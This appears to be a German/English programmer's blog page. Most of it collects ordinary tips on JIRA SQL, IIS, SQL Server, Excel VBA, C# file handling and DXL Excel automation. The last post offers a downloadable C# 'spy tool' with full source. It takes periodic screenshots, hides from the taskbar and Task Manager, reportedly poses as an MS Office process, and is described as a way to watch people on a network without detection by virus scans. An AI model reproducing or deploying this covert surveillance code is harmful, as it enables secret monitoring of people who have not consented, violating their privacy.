Alle Beiträge von Björn Karpenstein

Diplom Informatiker, Programmierer, Musikbegeisterter

JIRA SQL: Get Issue count of Issue Types and Issue status of alle JIRA projects / Anzahl der Issues pro Issue Type / Status pro Projekt

Problem

Für alle JIRA Projekte soll die Anzahl der Issues pro Issue Type und Issue Status ermittelt werden.

Ansatz – Approach

SQL Database Query

Lösung – Solution

SELECT project.pname 'Project', issuetype.pname 'Issue Type', issuestatus.pname 'Status', COUNT(project_key.PROJECT_KEY+'-'+CAST(issuenum AS VARCHAR(5))) 'Count'
FROM jiraissue
INNER JOIN project_key ON jiraissue.PROJECT=project_key.PROJECT_ID
INNER JOIN project ON CAST(project.ID as nvarchar)=project_key.PROJECT_ID 
INNER JOIN issuestatus ON issuestatus.ID=jiraissue.issuestatus
INNER JOIN issuetype ON issuetype.ID=jiraissue.issuetype  
GROUP BY project.pname, issuetype.pname, issuestatus.pname 

Microsoft IIS 7: Windows Authentication fehlt / missing (Single-Sign-On einstellen)

Problem

Eine Seite soll für Windows Authentication konfiguriert warden, im Bereich IIS unter dem Punkt „Authentication“ soll ein Punkt „Windows Authentication“ sein. Dieser ist nicht vorhanden.

Voraussetzungen

Es wird eine Windows Server Variante verwendet (nicht Windows 7 Home Editions)

Ansatz – Approach

Die Server-Rolle muss nachinstalliert warden.

Lösung – Solution

1.) Den Server Manager starten
server_manager_starten

2.) Einen Rollenservice auf dem IIS-Unterpunkt hinzufügen
Add_Role_Services

3.) Auswahl der Authentifizierungsmethode
select_authmethods

4.) Nun ist unter dem Punkt „Windows Authentication“ im Bereich IIS der Punkt „Windows Authentication“ vorhanden, dieser kann ausgewählt warden und Anonymous Login kann disabled warden.
punkt_vorhanden

MS SQL Server: The database principal owns a schema in the database, and cannot be dropped

Problem

Ein Microsoft SQL Server User kann nicht gelöscht werden. Es erscheint die Fehlermeldung

„The database principal owns a schema in the database, and cannot be dropped“

Ansatz – Approach

Nutzung des Systemkatalogs zum finden der betroffenen Schemas
Änderung der Berechtigungen mit ALTER AUTHORIZATION
Löschen des Benutzers

Lösung – Solution

SELECT name FROM sys.schemas WHERE principal_id = USER_ID('benutzer')

Gefundene Principals (z.B. db_owner…) in Alter Authorization eintragen:

ALTER AUTHORIZATION ON SCHEMA::db_owner TO dbo
ALTER AUTHORIZATION ON SCHEMA::db_datareader TO dbo

DROP USER benutzer

Excel VBA: Kommandozeile / Command Line / DOS Parameter an Excel übergeben

Problem

An eine Excel-Datei soll ein Kommandozeilenparameter übergeben werden, der in VBA weitergenutzt werden kann.

Ansatz – Approach

  • Nutzung der Kernel32.dll-Bibliothek
  • Deklaration von Kernel32-Funktionen
    • GetCommandLineW
    • lpString
    • RtlMoveMemory
  • Erstellung einer Funktion für die Verwendeung
  • Beispielaufruf

Lösung – Solution

Im Modulkopf von Modul1.bas (oder auch in der Arbeitsmappe) werden Funktionen deklariert:

Modulkopf

1.) Modulkopf (Modul1.bas): Deklaration der Kernel Funktionen für die Ausführung von Kommandozeilenparametern:

' Used at module level to declare the default 
' lower bound for array subscripts (Array starts with 0)
Option Base 0

' Erzwingt die explizite Deklaration aller 
' Variablen in einer Datei 
Option Explicit

' Deklariert die Funktionen aus kernel32.dll 
Declare Function GetCommandLine Lib "kernel32" Alias "GetCommandLineW" () As Long
Declare Function lstrlenW Lib "kernel32" (ByVal lpString As Long) As Long
Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (MyDest As Any, MySource As Any, ByVal MySize As Long)

2.) Erstellen einer einfachen Funktion, die die Ausführung von Kommandos anhand der kernel32.dll-Funktionen erlaubt.

Function CmdToSTr(Cmd As Long) As String
Dim Buffer() As Byte
Dim StrLen As Long
   If Cmd Then
      StrLen = lstrlenW(Cmd) * 2
      If StrLen Then
         ReDim Buffer(0 To (StrLen - 1)) As Byte
         CopyMemory Buffer(0), ByVal Cmd, StrLen
         CmdToSTr = Buffer
      End If
   End If
End Function

3.) Wenn das Workbook (die Arbeitsmappe) geöffnet wird, soll der Parameter (hier /cs:irgendwas ) zur Weiterverwendung genutzt werden können

Private Sub Workbook_Open()
    Dim CmdRaw As Long

    Dim CmdLine As String
    Dim start As Integer
    'The return value is a pointer to the command-line string for the current process.
    CmdRaw = GetCommandLine
    CmdLine = CmdToSTr(CmdRaw)
    
    start = InStr(CmdLine, "/cs:")
    ende = Len(CmdLine) - start - 3
    Tabelle1.Cells(1, 1) = Right(CmdLine, ende)

    mainForm.Show
End Sub

4.) Aufruf der Datei

C:\Program Files (x86)\Microsoft Office\Office12\EXCEL.exe C:\tracematrix.xlsm /cs:meinParameter

.NET C#: Execute command line batch file and process the output line by line (line break treatment)

Problem

A Batch File should be executed and the output processed line by line. This is especially useful when you want to generate line break treatments.

Ansatz – Approach

The usage of a stream reader helps to process the output line by line.

Solution – Lösung

Process p = new Process();

// Redirect the output stream of the child process.
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;

p.StartInfo.FileName = "D:\\doors_stats\\whatschanged.bat";
p.Start();

StreamReader sr = p.StandardOutput;
string output = "";
while (!sr.EndOfStream)
{
	// Do s.th. with the received line (i.e. concate)
	output += sr.ReadLine() + "\n\n<br/>";
}

.NET C# : Verzeichnis rekursiv kopieren / Copy folder with subfolders (recursive)

Problem

A directory folder with subfolders should be copied. Ein Verzeichnis mit allen Unterverzeichnissen soll rekursiv kopiert warden.

Approach

Usage of DirectoryInfo Class: getDirectories(); in combination with „foreach (DirectoryInfo subdir in dirs)“-Loop
Usage of FileInfo Class: getFiles() in combination with „foreach (FileInfo file in files)“-Loop and Object-Method „file.CopyTo(DESTINATION_FOLDER, true);“

Solution – Lösung

public void DirectoryCopy(string sourceDirName, string destDirName, bool copySubDirs)
{
    // Get the subdirectories for the specified directory.
    DirectoryInfo dir = new DirectoryInfo(sourceDirName);
    DirectoryInfo[] dirs = dir.GetDirectories();

    if (!dir.Exists)
    {
        throw new DirectoryNotFoundException(
            "Source directory does not exist or could not be found: "
            + sourceDirName);
    }

    // If the destination directory doesn't exist, create it.
    if (!Directory.Exists(destDirName))
    {
        Directory.CreateDirectory(destDirName);
    }

    // Get the files in the directory and copy them to the new location.
    FileInfo[] files = dir.GetFiles();
    foreach (FileInfo file in files)
    {
        string temppath = Path.Combine(destDirName, file.Name);
        file.CopyTo(temppath, true);
    }

    // If copying subdirectories, copy them and their contents to new location.
    if (copySubDirs)
    {
        foreach (DirectoryInfo subdir in dirs)
        {
            string temppath = Path.Combine(destDirName, subdir.Name);
            DirectoryCopy(subdir.FullName, temppath, copySubDirs);
        }
    }
}

Projektvorstellung: HTML5+Javascript+Canvas: Guitartabs.de/Tabulaturen.de – Anwendung zum Zeichnen von Tabulaturen (Gitarrennoten)

Intention

Im Proberaum mit Internetzugang ergab sich oft die Situation, in der man schnell ein paar Tabulaturen aufschreiben musste.
Tabulaturen.de soll einfach die nötigsten Werkzeuge liefern um eine druckfähige Tabulatur ohne großen Aufwand zu generieren.

Zielgruppenanalyse

Ranking für Tabulaturen und Guitartabs bei Google

Es ist ein stark rückläufiger Trend für die Suche nach Tabulaturen und Guitartabs zu verzeichnen. Ich vermute dass das Ventil der Suchenden nun vorwiegend YouTube-Videos sind, da man hier auch ein breites Spektrum an Tutorials für Lieder vorfindet.

Was in den meisten Fällen fehlt, wäre das Anreichern von den YouTube Videos mit Tabulaturen. Nun ist natürlich die Frage ob die Video irgendeine Legalitätslücke ausnutzen, da sie regelrecht sprießen. Darf jeder irgendein Lehrvideo machen wenn er keine Tabulaturen zeigt?

Weitere denkbare Projekte auf der Basis

Kapital vorhanden:
– Brainstorming Tool
– Projektmanagement (GANTT)
– UML
– Programmablaufpläne
– ER Diagramme (die normalen)
– Web Visio

Ohne Kapital
– Puzzle

To Do

  • Löschen von Tabs und Texten
  • Editieren von Texten
  • Taktstriche
  • Properties wie bei Objektinspektor für Tab (Tempo / Takt … )
  • Menü wie Online Word
  • MIDI Tonausgabe
  • Noten
  • Mehrere Seiten
  • Facebook login / Registrieren
  • Daten speichern
  • Druckqualität untersuchentabsymbols_ttf

 

IBM Doors DXL: Excel OLE Automation ein- und auslesen von Werten / Zellen

Problem

Es wird eine Lösung für das Ein- und Auslesen von Werten in Excelsheets benötigt.
A solution shall enable the user to read and write data to an excel spreadsheet.

Ansatz – Approach

Die Nutzung der OLE Schnittstelle von Excel erlaubt die Fernsteuerung.
The usage of the OLE Interface allows Excel to control excel remotely.

Lösung – Solution

Der folgende DXL Schnipsel erlaubt die Fernsteuerung von Excel mit OLE Automation.
The following DXL Snipplet allows the user to control the excel interface remotely.

/****************************************************************************
 * Beispiele für das Einlesen mit OLE Excel Automation in DXL 
 * erstellt von Björn Karpenstein an einem Sonntag (was ich alles mache!!) 
 ****************************************************************************/

// String Functions
#include "\\\\bbmag2k\\exchange\\doors\\dxl\\strings.inc"; 

// Global settings

//pragma encoding,"UTF-8";
pragma runLim, 0;

int findLastRow (OleAutoObj objExcelSheet)
{
  OleAutoObj objUsedRange, objRows;
  int iRow = 0;
  oleGet(objExcelSheet,"UsedRange",objUsedRange);
  oleGet(objUsedRange,"Rows",objRows);
  oleGet(objRows,"Count",iRow);

  return iRow+1;
}

int findLastColumn (OleAutoObj objExcelSheet)
{
  OleAutoObj objUsedRange, objColumns;
  int iColumn = 0;
  oleGet(objExcelSheet,"UsedRange",objUsedRange);
  oleGet(objUsedRange,"Columns",objColumns);
  oleGet(objColumns,"Count",iColumn );

  return iColumn +1;
}

// Excel: Table1.Cells(1,2).Value;
string getCellContent(OleAutoObj objSheet, int x, int y)
{
  // Das hier brauchen wir, um Parameter an OLE-Objekte
  // zu übergeben - immer leer machen!
  OleAutoArgs objArgBlock = create;

  OleAutoObj objCell;	// Das Zellen-Objekt nach Übermittlung der Koordinaten (1,1)
  string zellenInhalt;	// Der Inhalt aus der Zelle als String
  clear( objArgBlock );   // Parameter leeren
  put( objArgBlock, y );  // Parameter 2
  put( objArgBlock, x );  // Parameter 1
  oleGet(objSheet, "Cells", objArgBlock,objCell); // Das Zellenobjekt nimmt Koordinaten an

  if (!null objCell)
  {
    // Get the value
    // oleGet(objCell,"Value",zellenInhalt);
    oleGet(objCell,"FormulaR1C1",zellenInhalt);
  }

  return zellenInhalt "";
}

void setCellContent(OleAutoObj objSheet, int x, int y, string zellenInhalt)
{
  // Das hier brauchen wir, um Parameter an OLE-Objekte
  // zu übergeben - immer leer machen!
  OleAutoArgs objArgBlock = create;

  OleAutoObj objCell;	// Das Zellen-Objekt nach Übermittlung der Koordinaten (1,1)
  clear( objArgBlock );   // Parameter leeren
  put( objArgBlock, y );  // Parameter 2
  put( objArgBlock, x );  // Parameter 1
  oleGet(objSheet, "Cells", objArgBlock,objCell); // Das Zellenobjekt nimmt Koordinaten an

  if (!null objCell)
  {   
    olePut(objCell,"FormulaR1C1",zellenInhalt);
  }
}

 
void main(void)
{
  // Wenn Excel lokal installiert ist gibt es dieses OLE Objekt im System.. suchs Hasso!!!
  OleAutoObj objExcel = oleCreateAutoObject( "Excel.Application" );

  // Das hier brauchen wir, um Parameter an OLE-Objekte zu übergeben - immer leer machen!
  OleAutoArgs objArgBlock = create;

  // Was steht in Application.isVisible?

  bool isVisible;					// Auslesen 1
  oleGet(objExcel, "Visible", isVisible);	// Auslesen 2


  print "Die Anwendung ist momentan " (isVisible?"sichtbar":"unsichtbar") "\n";

  // Mache die Anwendung sichtbar Application.isVisible=true;
  olePut(objExcel, "Visible", true);		// Reinschreiben

  // Ein Woorkbook ist eine Excel-Datei. Excel kann mehrere Dateien öffnen daher die 
  // Collection. Die Collection selbst hat die Open Methode zum einlesen von XLS-Files
  OleAutoObj objWorkbooks;
  oleGet(objExcel, "Workbooks", objWorkbooks);			// Hole Workbooks Collection

  // Öffne Excel application
  string xlsWorkbook="C:\\dev\\alarms.xls";	// Öffne Workbook
  clear( objArgBlock );
  put( objArgBlock, xlsWorkbook);
  OleAutoObj objWorkbook = null;
  oleGet(objWorkbooks, "Open",objArgBlock, objWorkbook ); // Reinschreiben Datei zu öffnen und Auslesen 
  oleGet(objWorkbooks, "Add", objWorkbook ); // Falls man die obere Zeile nicht ausfuehrt eins adden

  

  // Hole das erste Sheet
  clear( objArgBlock )
  put( objArgBlock, 1 )
  oleGet( objWorkbook, "Sheets", objArgBlock, objSheet);

  // Gib den Namen des ersten Sheets aus
  string sheetName;
  oleGet(objSheet, "Name", sheetName);
  print sheetName "\n";

  // Hole das Sheet mit dem Namen adt_warnings_uni.v1.0
  clear( objArgBlock );
  put( objArgBlock, "adt_alarms_uni.v1.0" ); 
  oleGet( objWorkbook, "Sheets", objArgBlock, objSheet);	

  // Gib den Index des "adt_warnings_uni.v1.0" Sheets aus
  int sheetIndex;
  oleGet(objSheet, "Index", sheetIndex);
  print sheetIndex"\n";

  // Hole das Cells(1,1) Objekt um auf die Excel Zellen zuzugreifen
  print "Zelleninhalt  : " getCellContent(objSheet,17,1) "\n";
  print "Zelleninhalt  : " getCellContent(objSheet,18,1) "\n";
  print "Letzte Zeile  : " findLastRow(objSheet) "\n";
  print "Letzte Spalte :"  findLastColumn(objSheet) "\n";

  // Iteration durch das Excel Sheet 
  int spaltenCount = findLastColumn(objSheet);
  int zeilenCount  = findLastRow(objSheet);
  int currentZeile, currentSpalte;
  string zeilenString="";
  Skip texte = create;

  for (currentZeile=1;currentZeile&lt;zeilenCount;currentZeile++)
  {
	
    DxlObject eqtext = new();
    eqtext->"BK_EQtext_english"=getCellContent(objSheet,17,currentZeile) "";
    eqtext->"BK_EQtext_german"=getCellContent(objSheet,18,currentZeile) "";
    string theKey = getCellContent(objSheet,3,currentZeile) "";

    // Delete Brackets and numbers within the key
    int anfangBrackets=indexOf(theKey, "(");
    int endeBrackets=lastIndexOf(theKey, ")");
    if (anfangBrackets&lt;endeBrackets)
    {
      theKey = theKey[0:anfangBrackets-1];
    }

    put(texte,trim(theKey),eqtext); 
  }

  // Iteration through the SkipList
  for myIterator in texte do 
  {
    string keyValue = (string key(texte));
    DxlObject currentObject = null;

    if(find(texte, keyValue, currentObject))
    {
      // Just put the column names here.. it will work
      //print keyValue "\t";
      //print (string currentObject->"BK_EQtext_english") "\t";
      //print (string currentObject->"BK_EQtext_german") "\n";
    }
  }

  Module m = edit("/Project/filder/module", true);
  Object o;

  for o in m do
  {
    string doorsKey = trim(o."Object Text" "");

    if (doorsKey != "" && (o."BK_AlarmType" "" == "Alarm") ) 
    {
      DxlObject currentObject = null;	
      if (find (texte, doorsKey, currentObject)) 
      {
        string BK_EQtext_english = (string currentObject->"BK_EQtext_english");
        string BK_EQtext_german = (string currentObject->"BK_EQtext_german");		
 		
        // Zuweisen
        if(trim(BK_EQtext_english) != "")
        {
          o."BK_EQtext_english" = replace(BK_EQtext_english, charOf(30) "", "\n") "";
          o."BK_EQtext_german" = replace(BK_EQtext_german, charOf(30) "", "\n") "";
          print doorsKey "&lt;&lt;&lt; Da wird was zugwiesen\n";
        }
      }
      else print "Not found: " doorsKey "\n";
    }
  }

  // Speicher aufräumen
  oleCloseAutoObject( objExcel );
}

main();

Gartner und Forrester Studie: Zusammenfassung der IT Trends 2016, 2017 und 2018 und Schlagwörter / Buzzwords

  • Device Mesh
  • Big Data
  • Microservices
  • Apparchitektur
  • Internet der Dinge
  • Customer Experience ( Aufbau einer emotionalen Bindung zwischen Anwender und Produkt oder Anbieter)
  • Zero Trust / Adaptive Sicherheitssysteme
  • Cloud- und Softwaredefinierte Infrastruktur (https://en.wikipedia.org/wiki/Infrastructure_as_Code)
  • BYOD – Bring your own device ist etabliert – Die IT hat dafür zu sorgen dass die Vorteile sichtbar werden

.NET: Spionagetool / Tool was periodisch Screenshots erzeugt / Screenshot tool / Spy Tool

Terms of use – Nutzungbedingungen

Do not use this for illegal purposes. This is a free tool to demonstrate how you can spy third persons or just generate screenshots in a folder (maybe a netdrive).

Dieses Tool darf nicht für illegale Zwecke genutzt werden und dient lediglich der Demonstration von Prozessen, die komplett versteckt im Hintergrund und unentdeckt Spionageaktivitäten ermöglichen.

Warranty – Garantie

I promise that this file is absolutely virus free and will not damage anything or give data to third persons!
Ich verspreche dass dieses Tool absolut virusfrei ist und keinen Schaden am Rechner anrichtet, geschweige denn Daten an dritte Personen weitergibt.

Description – Beschreibung

A hidden tool shall generate periodic screenshots every minute (i.e on a net drive or the directory it has been started in) and be stopable remotely.
Ein unentdeckbares Tool generiert jede Minute periodisch Screenshots in dem Verzeichnis, in dem es gestartet wurde (z.B. auf einem Netzlaufwerk) und es auch zur Not gestoppt werden kann.

Approach – Ansatz

A hidden executed process is running in the background, which is not shown in the task bar and labeled as MS Office process in the Task Manager.
Ein versteckter Prozess gibt sich als Microsoft Office Anwendung aus und ist nicht im Taskmanager unter „Anwendungen“ auffindbar. Er wird nicht in der Taskbar angezeigt.

Prerequirements – Vorraussetzungen

  • .NET Framework
  • Someone can execute the process on a netdrive / Jemand muss die Exe am Netzlaufwerk vorher starten

Solution – Lösung

  • Download and unpack the following tool on a netdrive: ScreenshotTool
  • Double click the process (this will not damage s.th. on the computer!!!)
  • The tool is producing a screenshot every minute in the folder it has been started in.
  • To stop the tool, rename close_.txt to close.txt (otherwise a restart of the computer will stop the process and there is nothing pointing to it).

Fazit

On the screenshot you see the only hint to recognize the running tool. It is not shown in the Task Manager. Via Filesharing/Samba it is possible to spy other persons in a network without getting discovered by virus scans.

taskmanager

 

Code

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Drawing.Imaging;
using System.IO;

namespace screenshot
{
    public partial class Form1 : Form
    {
        // Die Dateien werden im Pfad erzeugt, wo die Exe gestartet wird
        public string outputPath = Application.StartupPath;

        public Form1()
        {
            InitializeComponent();

            // Das Fenster bekommt keinen Border Style
            this.FormBorderStyle = FormBorderStyle.None;

            // Das Fenster wird nicht in der Task Bar angezeigt
            this.ShowInTaskbar = false;
        }

        // Entfernt das Programm aus dem Taskmanager -> Anwendungen
        protected override CreateParams CreateParams
        {
            get
            {
                var cp = base.CreateParams;
                cp.ExStyle |= 0x80;  // Turn on WS_EX_TOOLWINDOW
                return cp;
            }
        }
         
        // Erzeuge einen Screenshot
        private void button1_Click(object sender, EventArgs e)
        {
            // Prüfe ob eine close.txt existiert
            if (File.Exists(@"" + outputPath + "\\close.txt"))
            {
                this.Close();
            }


            // this.Opacity = 0.0;  // Verstecken der Form vor dem Screencopy
 
            // Screencopy erstellen und in BildschirmBMP ablegen
            Screen   Bildschirm      = Screen.PrimaryScreen; // Hauptbildschirm
 
            using (Bitmap BildschirmBMP = new Bitmap(Bildschirm.Bounds.Width, // Ziel-Bitmap
                                          Bildschirm.Bounds.Height,
                                          PixelFormat.Format24bppRgb))
            {
                using (Graphics BildschirmGR = Graphics.FromImage(BildschirmBMP))
                {
                    // Graphics erzeugen
                    BildschirmGR.CopyFromScreen(Bildschirm.Bounds.X, 
                                                Bildschirm.Bounds.Y, // Abbild erstellen 
                                                0, 
                                                0,
                                                BildschirmBMP.Size);
                }

                // this.Opacity = 1.0;  // Wieder anzeigen der Form nach dem Screencopy

                // Screencopy speichern mit Datum ein Zeitstempel
                BildschirmBMP.Save(outputPath + @"\output_" + DateTime.Now.Year + 
                "-" + DateTime.Now.Month + "-" + DateTime.Now.Day + "__" + 
                DateTime.Now.Hour + "_" + DateTime.Now.Minute + "_" + 
                DateTime.Now.Second + ".png"); // Nur mal so zum speichern
            }

        }

        // Rufe jede Sekunde auf (Timer ist ein Toolbox Element)
        private void timer1_Tick(object sender, EventArgs e)
        {
            // Jede Sekunde ausführen
            button1_Click(null, null);
        }

        // Sobald das Programm gestartet ist, starte den Timer
        private void Form1_Load(object sender, EventArgs e)
        {
            // Beim Start einmal ausführen
            button1_Click(null, null);
            timer1.Start();
        }
    }
}